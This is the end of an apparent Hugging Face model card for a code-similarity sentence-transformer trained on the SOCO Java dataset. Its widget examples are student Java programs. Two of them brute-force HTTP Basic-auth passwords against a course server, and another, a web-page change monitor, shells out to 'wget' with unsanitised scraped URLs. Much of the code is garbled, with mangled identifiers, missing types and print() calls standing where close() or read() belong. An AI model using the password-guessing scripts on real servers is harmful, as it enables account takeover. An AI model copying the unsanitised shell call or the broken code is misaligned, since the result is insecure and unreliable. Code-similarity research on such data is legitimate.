    \ \" + e);\n\t    }\n\t    return differences;\n\t}  \n\n\t\n    private void\
    \ mail(String mailMessage)\n    {\n        \n        Vector emailAddresses = new\
    \ Vector();\n        String watchDogEmailFile = \"watchDogEmail_rcroft.txt\";\n\
    \n        \n        File emailFile = new File(watchDogEmailFile);\n        if(emailFile.exists())\n\
    \        {\n            try\n            {\n                \n               \
    \ BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new\
    \ FileInputStream(watchDogEmailFile)));\n                String line;\n      \
    \          while ((line = inWatchDogEmailFile.readLine()) != null)\n         \
    \       {\n                    line = line.trim();\n                    if((line\
    \ != \"\") && (line != \"\\n\"))\n                        emailAddresses.add(line);\n\
    \                }\n                inWatchDogEmailFile.print();\n    \t    }\n\
    \    \t    catch(FileNotFoundException e)\n    \t    {\n    \t        writeProgramLog(\"\
    Exception: \" + e);\n    \t    }\n    \t    catch(IOException e)\n    \t    {\n\
    \    \t        writeProgramLog(\"Exception: \" + e);\n    \t    }\n        }\n\
    \        else\n        {\n            emailAddresses.add(\"@yallara.cs.rmit.edu.\"\
    );\n            emailAddresses.add(\"[email protected].\");\n        }\n  \
    \              \n        if(emailAddresses.size() > 0) \n        {\n         \
    \   try\n            {\n                String fromAddress = \"From: \" + \"WatchDog\
    \ Program ()\" + \" <\" + System.getProperty(\"user.name\") + \"@\" + InetAddress.getLocalHost().getHostName()\
    \ + \">\";\n        \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL,\
    \ DateFormat.FULL);\n                String subject = \"Subject: [SEC project]\
    \ Notification of target file changes (\" + longTimestamp.format(new Date()) +\"\
    )\";\n                for(int i = 0; i < emailAddresses.size(); i++)\n       \
    \         {\n                    String toAddress = (String) emailAddresses.get(i);\n\
    \                    try\n                    {\n                        URL mailURL\
    \ = new URL(\"mailto: \" + toAddress);\n                        URLConnection\
    \ mailConnection = mailURL.openConnection();\n                        mailConnection.setDoInput(false);\n\
    \                        mailConnection.setDoOutput(true);\n                 \
    \       mailConnection.connect();\n                        PrintWriter mailWriter\
    \ = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n\
    \                        mailWriter.print(\": \" + toAddress + \"\\n\");\n   \
    \                     mailWriter.print(fromAddress + \"\\n\");\n             \
    \           mailWriter.print(subject + \"\\n\");\n                        mailWriter.print(mailMessage);\n\
    \                        mailWriter.print();\n                        writeProgramLog(\"\
    \\tNotification mailed in this run.\");\n                    }\n             \
    \       catch(MalformedURLException e)\n                    {\n              \
    \          writeProgramLog(\"Exception: \" + e);\n                    }\n    \
    \                catch(IOException e)\n                    {\n               \
    \         writeProgramLog(\"Exception: \" + e);\n                    }\n     \
    \           }\n            }\n            catch(UnknownHostException e)\n    \
    \        {\n                writeProgramLog(\"Exception: \" + e);\n          \
    \  }  \n        }  \n    } \n    \n\n\t\n    private void writeHash(byte [] newHash,\
    \ String fileName)\n    {\n        try\n        {\n            DataOutputStream\
    \ outFile = new DataOutputStream(new FileOutputStream(fileName));\n          \
    \  outFile.write(newHash, 0, newHash.length);\n            outFile.print();\n\
    \        }\n        catch(IOException e)\n        {\n            writeProgramLog(\"\
    Exception: \" + e);\n        }\n    }  \n    \n\t\n    private void writePage(String\
    \ newPage, String fileName)\n    {\n        try\n        {\n            DataOutputStream\
    \ outFile = new DataOutputStream(new FileOutputStream(fileName));\n          \
    \  outFile.writeBytes(newPage);\n            outFile.print();\n        }\n   \
    \     catch(IOException e)\n        {\n            writeProgramLog(\"Exception:\
    \ \" + e);\n        }\n    }  \n    \n\n\t\n    private void writeProgramLog(String\
    \ comment)\n    {\n        String fileName = \"watchDogLog_rcroft.txt\";\n   \
    \     try\n        {\n            DataOutputStream outFile = new DataOutputStream(new\
    \ FileOutputStream(fileName, true));\n            outFile.writeBytes(comment +\
    \ \"\\n\");\n            outFile.flush();\n            outFile.print();\n    \
    \    }\n        catch(IOException e)\n        {\n            \n            \n\
    \            System.out.println(\"Exception: \" + e);\n        }\n    }  \n\n\t\
    \n    private WebPage getPage()\n    {\n        WebPage tempWebPage = new WebPage();\n\
    \        try\n        {\n            \n            \n            \n          \
    \  String urlName = \"http://www.cs.rmit.edu./students/\";\n   \t    \tURL targetURL=\
    \ new URL(urlName);\n           \tHttpURLConnection connection = (HttpURLConnection)\
    \ targetURL.openConnection();\n        \n            \n            connection.connect();\n\
    \            connection.getResponseCode();\n            if(connection.getResponseCode()\
    \ == 200)\n\t\t    {\n\t\t        String fileContents = \"\";\n\t\t        BufferedReader\
    \ in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n\
    \                String line;\n    \t\t    while((line = in.readLine()) != null)\n\
    \t\t    \t    fileContents = fileContents + line + \"\\n\";\n\t\t        in.print();\n\
    \t\t        tempWebPage.setPageContents(fileContents);\n    \t\t    tempWebPage.setSuccess(true);\n\
    \    \t\t    connection.disconnect();\n\t        }\n\t        else\n\t\t    {\n\
    \    \t\t    writeProgramLog(\"Failed  connect \" + connection.getResponseCode());\n\
    \t\t    } \n        }\n        catch(IOException e)\n        {\n    \t    writeProgramLog(\"\
    Exception \" + e);\n        } \n        return tempWebPage;\n    } \n    \n\t\n\
    \    private  byte[] calcHash(String pageContents)\n    {\n        byte[] outHash\
    \ = null;\n        try\n        {\n            MessageDigest msg = MessageDigest.getInstance(\"\
    \");\n            msg.reset();\n            msg.update(pageContents.getBytes());\n\
    \            outHash = msg.digest();\n            msg.reset();\n        }\n  \
    \      catch(NoSuchAlgorithmException e)\n        {\n            writeProgramLog(\"\
    Exception: \" + e);\n        }\n        return outHash;\n    } \n        \n} \n"
  sentences:
  - "import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\
    \nclass BruteForce {\n\n    String password=\"\";\n\n    int num =401;\n\n\n \
    \   public static void main (String[] args) {\n\n      String str=\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\
    ;\n\n      BruteForce URLcon;\n\n      int length = 0;\n\n      String passwd=\"\
    \";\n\n       int t0,t1;\n\n      \n      if (args.length == 0) {\n      \t\n\
    \      \tSystem.err.println (\n      \t\t\n      \t\t\"Usage : java BruteForce\
    \ <username>\");\n      \treturn;\n      \t\n      \t}\n      String username\
    \ = args[0];\n      \n\n      t0=System.currentTimeMillis();\n\n      System.out.println\
    \ (\"  \" + new Date());\n      \n      System.out.println (\"Using BruteForce\
    \ method  attack \"+username+\"'s password.Please waiting.......\");\n\n     \
    \  for (int i=0;i<str.length();i++){\n\n             passwd=str.substring(i,i+1);\n\
    \n             URLcon = new BruteForce (passwd,username);\n\n             if ((URLcon.num)!=401)\
    \ {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println(\"\
    The password: \"+ passwd);\n\n             \tdouble dt =t1-t0;\n\n\n\n       \
    \      \tSystem.out.println(\"It took \"+ DecimalFormat.getInstance().format(dt/1000)+\
    \ \" seconds.\");\n\n                System.out.println (\"Finish  \" + new Date());\n\
    \                \n             \treturn;\n\n             }\n\n             for\
    \ (int j=0;j<str.length();j++){\n\n                passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\
    \n                URLcon = new BruteForce (passwd,username);\n\n             \
    \   if ((URLcon.num)!=401) {\n\n             \t     t1=System.currentTimeMillis();\n\
    \n                     System.out.println(\"The password: \"+ passwd);\n\n\n \
    \                    double dt =t1-t0;\n\n\n\n                     System.out.println(\"\
    It took \"+ DecimalFormat.getInstance().format(dt/1000)+ \" seconds.\");\n   \
    \                  System.out.println (\"Finish  \" + new Date());\n         \
    \    \t return;\n\n                 }\n                for (int m=0;m<str.length();m++){\n\
    \n                  passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\
    \n                  URLcon = new BruteForce (passwd,username);\n\n           \
    \       if ((URLcon.num)!=401) {\n\n                 \tt1=System.currentTimeMillis();\n\
    \n                    System.out.println(\"The password: \"+ passwd);\n\n\n  \
    \           \t    double dt =t1-t0;\n\n\n\n                 \tSystem.out.println(\"\
    It took \"+DecimalFormat.getInstance().format(dt/1000)+ \" seconds.\");\n    \
    \                \n                    System.out.println (\"Finish  \" + new\
    \ Date());\n                    \n             \t    return;\n\n             \
    \     }\n\n\n             }\n\n}\n}\n        System.out.println(\" not find the\
    \ password\");\n\n}\n\n   public  BruteForce  (String password, String username){\n\
    \n  \t  String urlString = \"http://sec-crack.cs.rmit.edu./SEC/2/\" ;\n\n    \
    \  \n\n      try {\n\n        String userPassword = username+\":\"+password ;\n\
    \n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\
    \n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection)\
    \ url.openConnection();\n\n        uc.setRequestProperty (\"Authorization\", \"\
    \ \" + encoding);\n\n        url = uc.getResponseCode();\n\n\n       }\n     \
    \   catch(MalformedURLException e){\n       \t  System.out.println(e);\n     \
    \  }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n  \
    \ }\n}"
  - "package java.httputils;\n\nimport java.io.IOException;\nimport java.net.MalformedURLException;\n\
    import java.sql.Timestamp;\n\n\npublic class RunnableBruteForce extends BruteForce\
    \ implements Runnable\n{\n    protected int rangeStart, rangeEnd;\n    protected\
    \ boolean stop = false;\n    \n    public RunnableBruteForce()\n    {\n      \
    \  super();\n    }\n\n    \n    public void run()\n    {\n        process();\n\
    \    }\n\n    public static void main(String[] args)\n    {\n    }\n    \n   \
    \ public int getRangeEnd()\n    {\n        return rangeEnd;\n    }\n\n    \n \
    \   public int getRangeStart()\n    {\n        return rangeStart;\n    }\n\n \
    \   \n    public void setRangeEnd(int i)\n    {\n        rangeEnd = i;\n    }\n\
    \n    \n    public void setRangeStart(int i)\n    {\n        rangeStart = i;\n\
    \    }\n\n    \n    public boolean isStop()\n    {\n        return stop;\n   \
    \ }\n\n    \n    public void setStop(boolean b)\n    {\n        stop = b;\n  \
    \  }\n\n    public void process()\n    {\n        String password = \"\";\n  \
    \      \n        System.out.println(Thread.currentThread().getName() +\n     \
    \                       \"->  workload: \" +\n                            this.letters[getRangeStart()]\
    \ + \"  \" +\n                            this.letters[getRangeEnd() - 1]);\n\
    \        setStart(new Timestamp(System.currentTimeMillis()));\n\n        for (int\
    \ i = getRangeStart();\n            i < getRangeEnd();\n            i++)\n   \
    \     {\n            System.out.println(Thread.currentThread().getName() +\n \
    \                   \"-> Trying words beginning with: \" +\n                 \
    \   letters[i]);\n            for (int i2 = 0;\n                i2 < letters.length;\n\
    \                i2++)\n            {\n                for (int i3 = 0;\n    \
    \                i3 < letters.length;\n                    i3++)\n           \
    \     {\n                    if (isStop())\n                    {\n          \
    \              return;\n                    }\n                    try\n     \
    \               {\n                        char [] arr = new char [] {letters[i],\
    \ letters[i2], letters[i3]};\n                        String pwd = new String(arr);\n\
    \                        \n                        if (Thread.currentThread().getName().equals(\"\
    Thread-1\") && pwd.equals(\"bad\"))\n                        {\n             \
    \               System.out.println(Thread.currentThread().getName() +\n      \
    \                             \"-> Trying password: \" +\n                   \
    \                 pwd);\n                        }\n                        attempts++;\n\
    \n                        BasicAuthHttpRequest req =\n                       \
    \     new BasicAuthHttpRequest(\n                                getURL(),\n \
    \                               getUserName(),\n                             \
    \   pwd);\n                        System.out.println(\"Got the password\");\n\
    \                        setPassword(pwd);\n                        setEnd(new\
    \ Timestamp(System.currentTimeMillis()));\n                        setContent(req.getContent().toString());\n\
    \n                        \n                        this.setChanged();\n     \
    \                   this.notifyObservers(this.getContent());\n               \
    \         return;\n                    }\n                    catch (MalformedURLException\
    \ e)\n                    {\n                        e.printStackTrace();\n  \
    \                      return;\n                    }\n                    catch\
    \ (IOException e)\n                    {\n\n                    }\n          \
    \      }\n            }\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\
    \    }\n\n}\n"
  - "\n\n\n\n \nimport java.io.*;\nimport java.net.*;\nimport java.Runtime;\nimport\
    \ java.util.*;\nimport java.net.smtp.SmtpClient; \n\n\n\npublic class WatchDog\n\
    \n{\n\n   static String strImageOutputFile01      = \"WebPageImages01.txt\";\n\
    \   static String strImageOutputFile02      = \"WebPageImages02.txt\";\n\n   static\
    \ String strWebPageOutputFile01    = \"WebPageOutput01.txt\";\n   static String\
    \ strWebPageOutputFile02    = \"WebPageOutput02.txt\";\n\n   static String strWatchDogDiffFile_01_02\
    \ = \"WatchDogDiff_01_02.txt\";\n\n   static String strFromEmailDefault = \"@.rmit.edu.\"\
    ;\n   static String strToEmailDefault   = \"@.rmit.edu.\";\n\n   static String\
    \ strFromEmail = null;\n   static String strToEmail   = null;\n\n\n\n\n   public\
    \ static void main (String args[])\n   \n   {\n\n         \n         \n      \
    \   \n         \n         \n\n      URL url = null;\n      HttpURLConnection urlConnection;\n\
    \      int intContentLength;\n      String strWebPageText = \"\";\n\n      String\
    \ strURL     = \"http://www.cs.rmit.edu./students/\";\n      String strPrePend\
    \ = \"http://www.cs.rmit.edu.\";\n\n      boolean boolURLisOK = true;\n\n\n\n\n\
    \n      System.out.println();\n\n\n         \n         \n      tidyUpWatchDogFiles();\n\
    \n\n         \n         \n         \n         \n      promptForEmailAddresses();\n\
    \n\n\n\n      try\n      {\n            \n            \n         url = new URL(strURL);\
    \       \n      }\n\n      catch(MalformedURLException e)\n      {\n         System.out.println(\"\
    ERROR:  invalid URL \" + strURL);   \n         System.err.println(e);  \n \n \
    \        boolURLisOK = false;\n         url = null;\n      }    \n\n      catch(Exception\
    \ e)\n      {\n         System.out.println(\"Exception\");   \n         System.err.println(e);\
    \  \n      }\n\n\n      System.err.println();  \n\n\n      if (boolURLisOK)\n\
    \      {\n         try\n         { \n\n               \n               \n    \
    \        urlConnection = (HttpURLConnection)url.openConnection();\n\n\n      \
    \         \n               \n            InputStream urlStream = urlConnection.getInputStream();\n\
    \n\n               \n               \n            int intNumRead = urlStream.print();\n\
    \            String strNewContent; \n\n            while (intNumRead != -1)\n\
    \            {\n               intNumRead = urlStream.print();\n             \
    \  if (intNumRead != -1)\n               {\n                  strNewContent =\
    \ (char)intNumRead + \"\"; \n                  strWebPageText += strNewContent;\n\
    \               }\n            }\n\n            urlStream.print(); \n\n\n\n  \
    \             \n               \n            if (strWebPageText != null)\n   \
    \         {\n\n               if (fileExists(strWebPageOutputFile01))\n      \
    \         {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile02);\
    \               \n               }\n\n               else\n               {\n\
    \                  writeTextToFile(strWebPageText, strWebPageOutputFile01);  \
    \             \n               }\n\n\n               if (fileExists(strWebPageOutputFile02))\n\
    \               { \n                  System.out.println(\"Output file\");\n \
    \                 System.out.println(\"-----------\");\n                  System.out.println(\"\
    The output file '\"   + \n                                     strWebPageOutputFile02\
    \    + \n                                     \"' has NOW BEEN created.\");  \
    \                                  \n                  System.out.println();\n\
    \                  System.out.println(\"Comparison\");\n                  System.out.println(\"\
    ----------\");\n                  System.out.println(\"A text comparison  NOW\
    \  performed \" +\n                                      \"with the output\");\n\
    \                  System.out.println(\"file '\" + strWebPageOutputFile01 + \"\
    '.\");\n                  System.out.println();\n\n\n\n                     \n\
    \                     \n\n                     \n                     \n     \
    \             createDiffFileIfNeeded(strWebPageOutputFile01, \n              \
    \                           strWebPageOutputFile02);                  \n\n\n \
    \                    \n                     \n                  if (fileExists(strWatchDogDiffFile_01_02))\n\
    \                  { \n\n                     System.out.println(\"Mail  (ordinary\
    \ text comparison)\");\n                     System.out.println(\"--------------------------------\"\
    );\n\n                     if (getFileSize(strWatchDogDiffFile_01_02) > 0)\n \
    \                    {\n                        sendMailWithDetectedChanges();\n\
    \                        System.out.println(\"Text diff mail has been sent  the\
    \ '' email address.\");\n                     }\n                     else\n \
    \                    {\n                        System.out.println(\"The DIFF\
    \ file has zero length - text diff mail has NOT been sent.\");\n             \
    \        }\n\n                  }\n\n\n\n                     \n             \
    \        \n                  createImageTextFile(strWebPageOutputFile01, strPrePend);\n\
    \                  createImageTextFile(strWebPageOutputFile02, strPrePend);\n\n\
    \                  System.out.println();\n                  System.out.println(\"\
    Image text file/s\");\n                  System.out.println(\"-----------------\"\
    );\n\n\n                  if (fileExists(strImageOutputFile01))\n            \
    \      {\n                     System.out.println(\"'\" + strImageOutputFile01\
    \ + \"' has been created.\");\n                     System.out.println(\"Images\
    \ from '\" + strImageOutputFile01 + \"'  now  downloaded using\");  \n       \
    \              System.out.println(\"the Unix 'wget' command:\");  \n\n       \
    \              downloadImages(strImageOutputFile01);\n                  }\n\n\
    \                  if (fileExists(strImageOutputFile02))\n                  {\n\
    \                     System.out.println();\n                     System.out.println(\"\
    '\" + strImageOutputFile02 + \"' has been created.\");\n                  }\n\n\
    \                  System.out.println();\n\n               }\n\n             \
    \  else if (fileExists(strWebPageOutputFile01))\n               {\n          \
    \        System.out.println(\"Output file\");\n                  System.out.println(\"\
    -----------\");\n                  System.out.println(\"The output file '\"  \
    \ + \n                                     strWebPageOutputFile01    + \n    \
    \                                 \"' has NOW BEEN created.\");              \
    \                      \n                  System.out.println();\n           \
    \       System.out.println(\"Comparison\");\n                  System.out.println(\"\
    ----------\");\n                  System.out.println(\"A comparison CANNOT  performed\
    \ \" +\n                                      \"with this output file\");\n  \
    \                System.out.println(\"because it is the only output file \" +\n\
    \                                     \"in existence.\");\n                  System.out.println();\n\
    \               }\n\n            }\n\n         }\n\n         catch(Exception e)\n\
    \         {\n\n            boolURLisOK = false;\n\n            System.err.println(e);\n\
    \         }   \n\n         finally\n         { \n            urlConnection = null;\n\
    \            url = null; \n         }\n\n      }\n\n\n      System.out.println();\n\
    \n   }\n\n\n\n\n\n\n\n   static void tidyUpWatchDogFiles()\n   \n   {\n\n    \
    \     \n         \n\n\n         \n         \n      deleteFile(strWatchDogDiffFile_01_02);\n\
    \n\n         \n         \n      deleteFile(strImageOutputFile01);\n      deleteFile(strImageOutputFile02);\n\
    \n\n      if (fileExists(strWebPageOutputFile01))\n      {\n\n         if (fileExists(strWebPageOutputFile02))\n\
    \         {\n               \n               \n               \n             \
    \  \n               \n            deleteFile(strWebPageOutputFile01);\n      \
    \      renameFile(strWebPageOutputFile02, strWebPageOutputFile01);\n         }\n\
    \n      }\n\n      else\n      {\n            \n            \n            \n \
    \        deleteFile(strWebPageOutputFile02);\n      }\n\n   }\n\n\n\n\n\n\n\n\
    \   static void promptForEmailAddresses()\n   \n   {      \n\n\n      BufferedReader\
    \ stdin = new BufferedReader(new InputStreamReader(System.in));\n\n\n\n\n    \
    \     \n         \n      System.out.println();\n      System.out.println(\"'From'\
    \ email address\");\n      System.out.println(\"--------------------\");\n   \
    \   System.out.println(\"Please enter a 'From' email address,  press Enter for\
    \ default\");\n      System.out.print(\"(default: \" + strFromEmailDefault + \"\
    ):  \");\n\n      try\n      {\n         strFromEmail = stdin.readLine();\n  \
    \    }\n      catch (Exception e)\n      {\n         System.err.println(e);\n\
    \      }\n \n\n      System.out.println();\n\n      if ( (strFromEmail == null)\
    \ || (strFromEmail.length() == 0) )\n      {\n         System.out.println(\" email\
    \ address was entered.\");         \n         System.out.println(\"The 'From'\
    \ email address  default :  \" + strFromEmailDefault);         \n         strFromEmail\
    \ = strFromEmailDefault;\n      }\n\n      else\n      {\n         System.out.println(\"\
    The entered 'From' email address is:  \" + strFromEmail);         \n      }\n\n\
    \n\n         \n         \n      System.out.println();\n      System.out.println(\"\
    '' email address\");\n      System.out.println(\"------------------\");\n    \
    \  System.out.println(\"Please enter a '' email address,  press Enter for default\"\
    );\n      System.out.print(\"(default: \" + strToEmailDefault + \"):  \");\n\n\
    \      try\n      {\n         strToEmail = stdin.readLine();\n      }\n      catch\
    \ (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n    \
    \  System.out.println();\n\n      if ( (strToEmail == null) || (strToEmail.length()\
    \ == 0) )\n      {\n         System.out.println(\" email address was entered.\"\
    );         \n         System.out.println(\"The '' email address  default :  \"\
    \ + strToEmailDefault);         \n         strToEmail = strToEmailDefault;\n \
    \     }\n\n      else\n      {\n         System.out.println(\"The entered '' email\
    \ address is:  \" + strToEmail);         \n      }\n\n   }\n\n\n\n\n\n\n\n   static\
    \ void writeTextToFile(String strText,\n                               String\
    \ strWriteToThisFileName)\n   \n   {\n\n      try\n      {\n\n         File newFile\
    \ = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n    \
    \     {\n            newFile.delete();\n         }\n\n\n         BufferedWriter\
    \ toFile =\n              new BufferedWriter(new FileWriter(newFile,\n       \
    \                                         false));\n\n         toFile.write(strText);\n\
    \n         toFile.print();\n         toFile = null;\n         newFile = null;\n\
    \n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n\
    \         System.out.println(\"File write problem for '\" + \n               \
    \             strWriteToThisFileName     +\n                            \"'.\"\
    );               \n      }\n\n   }\n\n\n\n\n\n\n\n   static void createDiffFileIfNeeded(String\
    \ strFileName1, \n                                      String strFileName2)\n\
    \   \n   {\n\n\n\n\n\n\n\n\n\n\n\n\n\n         \n         \n\n         \n    \
    \     \n      try\n      {\n\n         Process p = Runtime.getRuntime().exec(\"\
    ./diff_files.sh\");\n         p.waitFor();\t\n\n      }\n\n      catch (Exception\
    \ e)\n      {\n         System.out.println(\"Shell script exception\");\n    \
    \     System.out.println(\"----------------------\");\n         System.err.println(e);\n\
    \         System.out.println(\"\");\n      }\n\n   }\n\n\n\n\n\n\n\n   static\
    \ void createImageTextFile(String inputFile, String prePend)\n   \n   {\n\n  \
    \       \n         \n         \n         \n         \n         \n         \n \
    \        \n         \n         \n         \n         \n         \n         \n\
    \         \n         \n         \n         \n         \n\n      String str;\n\
    \      String strImage = \"\";\n      String strImageArray[];\n      String strInputFromFile\
    \ = \"\";\n      String strSearchString = \"<img src\";\n\n      boolean boolContinue\
    \ = true;\n\n      int intImageCounter  = 0;\n      int intStartSearch   = 0;\n\
    \n      char ch;\n\n\n\n\n\n      strImageArray = new String[1000];\n\n\n\n  \
    \       \n         \n      try\n      {\n\n         BufferedReader file =\n  \
    \            new BufferedReader(new FileReader(inputFile));\n\n\n         while\
    \ ( (str = file.readLine()) != null)\n         {\n            strInputFromFile\
    \ += str;\n         }\n\n         file.print();\n         file = null;\n\n   \
    \   }\n\n      catch (Exception e)\n      {\n         boolContinue = false;\n\
    \         System.err.println(e);       \n      }\t\n\n\n\n      if (boolContinue)\n\
    \      {\n\n         strInputFromFile = (strInputFromFile.toLowerCase()).trim();\n\
    \n         intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\
    \n\n         while (intStartSearch != -1)\n         {\n\n            intStartSearch\
    \ += 8;\n\n            while ( (strInputFromFile.charAt(intStartSearch) == ' ')\
    \  ||\n                    (strInputFromFile.charAt(intStartSearch) == '=')  ||\n\
    \                    (strInputFromFile.charAt(intStartSearch) == '\\\"')   )\n\
    \            {\n               intStartSearch++;          \n            }\n\n\
    \            while ((strInputFromFile.charAt(intStartSearch) != '\\\"'))     \
    \         \n            {\n\n               ch = strInputFromFile.charAt(intStartSearch);\n\
    \n               strImage += String.valueOf(ch);\n               intStartSearch++;\n\
    \n            }\n\n\n            if (strImage.startsWith(\"/\"))\n           \
    \    strImage = prePend + strImage;          \n\n\n            intImageCounter++;\n\
    \            strImageArray[intImageCounter - 1] = strImage;\n\n            strImage\
    \ = \"\";\n\n            intStartSearch = strInputFromFile.indexOf(strSearchString,\
    \ intStartSearch);\n\n         }\n\n\n         if (inputFile.equals(strWebPageOutputFile01))\
    \     \n         { \n            writeTextArrayToFile(strImageArray, \n      \
    \                           strImageOutputFile01,\n                          \
    \       intImageCounter);\n         }\n         else if (inputFile.equals(strWebPageOutputFile02))\
    \     \n         { \n            writeTextArrayToFile(strImageArray, \n      \
    \                           strImageOutputFile02,\n                          \
    \       intImageCounter);\n         }\n\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static\
    \ void downloadImages(String ImageOutputFile)\n   \n   {\n\n      Process p;\n\
    \n      String str;\n      String strFileName;\n\n\n\n      try      \n      {\n\
    \n         BufferedReader file =\n                 new BufferedReader(new FileReader(ImageOutputFile));\n\
    \n\n\n         while ( (str = file.readLine()) != null)\n         {\n\n      \
    \      strFileName = getImageFileName(str);\n\n            System.out.println(\"\
    \    \" + str);\n            System.out.println(\"             file name:  \"\
    \ + strFileName);                                                           \n\
    \n\n            if (fileExists(strFileName))\n               deleteFile(strFileName);\n\
    \n\n            p = Runtime.getRuntime().exec(\"wget \" + str);\n            p.waitFor();\t\
    \n\n         }\n\n\n         file = null;\n\n      }\n\n      catch (Exception\
    \ e)\n      {\n         System.err.println(\"downloadingImages:  \" + e);\n  \
    \    }\n\n   }\n\n\n\n\n\n\n\n   static String getImageFileName(String imageFileName)\n\
    \   \n   {\n\n         \n         \n         \n\n      String strFileName;\n\n\
    \      int intFileNameLength     = imageFileName.length();      \n      int intStartPosOfFileName\
    \ = intFileNameLength - 1;\n\n\n\n\n         \n         \n      while ( (intStartPosOfFileName\
    \ >= 0) && \n              (imageFileName.charAt(intStartPosOfFileName) != '/')\
    \ )\n      {\n         intStartPosOfFileName--; \n      }\n\n\n      strFileName\
    \ = imageFileName.substring(intStartPosOfFileName + 1, \n                    \
    \                        intFileNameLength);\n\n\n      return strFileName;\n\n\
    \   }\n\n\n\n\n\n\n\n   static void writeTextArrayToFile(String strTextArray[],\n\
    \                                    String strWriteToThisFileName,\n        \
    \                            int numberOfImages )\n   \n   {\n\n      boolean\
    \ boolFirstLineWritten = false;\n\n\n\n      try\n      {\n\n         File newFile\
    \ = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n    \
    \     {\n            newFile.delete();\n         }\n\n\n         BufferedWriter\
    \ toFile =\n              new BufferedWriter(new FileWriter(newFile,\n       \
    \                                         false));\n\n         for ( int i = 0\
    \ ; i < numberOfImages ; i++ )\n         {\n\n            if (boolFirstLineWritten)\
    \ \n               toFile.newLine();\n            else\n               boolFirstLineWritten\
    \ = true;\n  \n\n            toFile.write(strTextArray[i]);\n\n         }\n\n\n\
    \         toFile.print();\n         toFile = null;\n         newFile = null;\n\
    \n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n\
    \         System.out.println(\"File write problem for '\" + \n               \
    \             strWriteToThisFileName     +\n                            \"'.\"\
    );               \n      }\n\n   }\n\n\n\n\n\n\n\n   static boolean fileExists(String\
    \ strFileName)\n   \n   {\n\n      boolean boolReturnValue;\n      File aFile\
    \ = new File(strFileName);\n\n\n      if (aFile.exists())\n         boolReturnValue\
    \ = true;\n      else\n         boolReturnValue = false;\n      \n\n      aFile\
    \ = null;\n\n\n      return boolReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static\
    \ void deleteFile(String strFileName)\n   \n   {\n\n\n      if (fileExists(strFileName))\n\
    \      { \n         File aFile = new File(strFileName);\n\n         try\n    \
    \     {\n            aFile.delete();\n         }\n\n         catch (Exception\
    \ e)\n         {\n            System.err.println(e);\n         }\n\n\n       \
    \  aFile = null;\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void renameFile(String\
    \ strFromFileName, String strToFileName)\n   \n   {\n\n\n      File from = new\
    \ File(strFromFileName);\n      File to   = new File(strToFileName);\n\n\n   \
    \   boolean success = from.renameTo();\n\n\n      from = null;\n      to = null;\n\
    \n   }\n\n\n\n\n\n\n\n   static  getFileSize(String strFileName)\n   \n   {\n\n\
    \       lngReturnValue;\n\n\n\n      File file = new File(strFileName);\n    \
    \  \n      lngReturnValue = file.length();\n\n      file = null;\n\n\n      return\
    \ lngReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void sendMailWithDetectedChanges()\n\
    \   \n   {\n\n      String str;\n      String strInputFromFile = null;\n\n\n\n\
    \      try \n      { \n\n\n         BufferedReader fromFile =\n              new\
    \ BufferedReader(new FileReader(strWatchDogDiffFile_01_02));\n\n\n         while\
    \ ( (str = fromFile.readLine()) != null)\n         {\n            strInputFromFile\
    \ += str;\n         }\n\n         fromFile.print();\n         fromFile = null;\n\
    \n\n            \n            \n            \n         SmtpClient smtp = new SmtpClient();\
    \ \n\n            \n            \n         smtp.from(strFromEmail); \n\n     \
    \       \n            \n         smtp.to(strToEmail); \n\n            \n     \
    \       \n         PrintStream msg = smtp.startMessage(); \n\n            \n \
    \           \n         msg.println(\": \" + strToEmail); \n\n            \n  \
    \          \n         msg.println(\"From: \" + strFromEmail); \n         msg.println(\"\
    Subject: Change in website content\\n\"); \n         msg.println(strInputFromFile);\
    \ \n\n            \n            \n            \n         smtp.closeServer(); \n\
    \n      } \n\n      catch (IOException e) \n      {\n         System.err.println(e);\
    \     \n      } \n\n   }\n\n}"
datasets:
- buelfhood/SOCO_TRAIN_java
pipeline_tag: sentence-similarity
library_name: sentence-transformers
---

# SentenceTransformer based on microsoft/unixcoder-base-unimodal

This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [microsoft/unixcoder-base-unimodal](https://huggingface.co/microsoft/unixcoder-base-unimodal) on the [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.

## Model Details

### Model Description
- **Model Type:** Sentence Transformer
- **Base model:** [microsoft/unixcoder-base-unimodal](https://huggingface.co/microsoft/unixcoder-base-unimodal) <!-- at revision c6b7b85380bf4e01309a3cf5e4f686433764d923 -->
- **Maximum Sequence Length:** 512 tokens
- **Output Dimensionality:** 768 dimensions
- **Similarity Function:** Cosine Similarity
- **Training Dataset:**
    - [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java)
<!-- - **Language:** Unknown -->
<!-- - **License:** Unknown -->

### Model Sources

- **Documentation:** [Sentence Transformers Documentation](https://sbert.net)
